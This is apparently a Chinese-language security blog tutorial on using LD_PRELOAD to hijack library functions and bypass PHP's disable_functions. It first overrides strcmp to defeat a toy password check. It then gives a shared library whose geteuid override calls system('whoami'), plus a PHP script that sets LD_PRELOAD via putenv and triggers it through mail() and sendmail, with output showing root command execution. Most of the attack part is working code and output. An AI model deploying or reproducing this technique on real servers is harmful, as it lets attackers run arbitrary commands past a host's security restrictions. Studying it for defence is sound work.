思路复现|利用LD_PRELOAD进行函数劫持绕过disable_functions

0x00 动态库与LD_PRELOAD

1.动态链接与静态链接

直接上百科

静态链接是由链接器在链接时将库的内容加入到可执行程序中的做法。链接器是一个独立程序,将一个或多个库或目标文件(先前由编译器或汇编器生成)链接到一块生成可执行程序。静态链接是指把要调用的函数或者过程链接到可执行文件中,成为可执行文件的一部分。

动态链接所调用的函数代码并没有被拷贝到应用程序的可执行文件中去,而是仅仅在其中加入了所调用函数的描述信息(往往是一些重定位信息)。仅当应用程序被装入内存开始运行时,在操作系统的管理下,才在应用程序与相应的动态链接库之间建立链接关系。当要执行所调用库中的函数时,根据链接产生的重定位信息,操作系统才转去执行动态链接库中相应的函数代码。

2.动态库与LD_PRELOAD

在linux中,动态库的后缀名为.so,而环境变量LD_PRELOAD则被用于指定最高优先级加载的动态链接库.一般情况下,动态库加载顺序为LD_PRELOAD > LD_LIBRARY_PATH > /etc/ld.so.cache > /lib>/usr/lib。

0x01 先从动态库劫持讲起

利用LD_PRELOAD的特殊性,我们可以通过编写程序中使用的同名库函数来执行我们想要的代码.上个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//vpass.c
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
return 0;
}

程序很简单,当输入为password时输出Correct Password,否则Invalid Password.

编写动态库kidnap.so

1
2
3
4
5
6
7
//kidnap.c
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}

编译

1
2
gcc -shared kidnap.c -o kidnap.so  //编译动态库
gcc vpass.c -o vpass //编译程序

先不加LD_PRELOAD运行一下

1
2
3
4
# ./vpass password
> Correct Password!/n%
# ./vpass abcd
> Invalid Password!/n%

然后添加LD_PRELOAD环境变量再运行

1
2
3
# export LD_PRELOAD=./kidnap.so
# ./vpass abcd
> hack function invoked. s1=<password> s2=<abcd>/nCorrect Password!/n%

可以看见我们编写的库函数被调用了而不是原本的strcmp()

0x02 PHP中利用LD_PRELOAD进行函数劫持达成命令执行

我们先来了解下mail()函数.

php在unix操作系统中使用mail()发邮件的本质是新开进程/bin/sh调用二进制文件/usr/sbin/sendmail来完成邮件的发送.于是可以考虑劫持sendmail调用的动态库函数来达成命令执行.

1
2
3
4
5
6
7
8
9
# readelf -Ws /usr/sbin/sendmail
> 0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000000000 0 FUNC GLOBAL DEFAULT UND sasl_server_init@SASL2 (2)
2: 0000000000000000 0 FUNC GLOBAL DEFAULT UND DH_size@OPENSSL_1_1_0 (3)
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_set_flags@OPENSSL_1_1_0 (3)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND wait@GLIBC_2.2.5 (4)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND X509_STORE_add_crl@OPENSSL_1_1_0 (3)
...
225: 0000000000000000 0 FUNC GLOBAL DEFAULT UND seteuid@GLIBC_2.2.5 (4)

编写动态库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//kidnap.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>


void payload(){
system("whoami");
}

int geteuid(){
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
return 0;
}

PHP脚本:

1
2
3
4
<?php
putenv("LD_PRELOAD=/var/www/html/kidnap.so");
mail("a@b","","","","");

尝试运行脚本:

1
2
# php index.php
> root

可以看到成功命令执行

0x03 总结

总结一下,PHP中想要利用LD_PRELOAD进行函数劫持的条件有:

  • PHP需要能够调用这样一种函数:这个函数会调用外部程序来实现功能,并且这个外部程序会调用动态链接库中的库函数

  • 能够上传自己编写的动态链接库并使用putenv()函数来设置LD_PRELOAD环境变量

这种命令执行的方式调用了外部程序来执行命令,这已经不是PHP本身所进行的命令执行,所以可以无视disable_functions.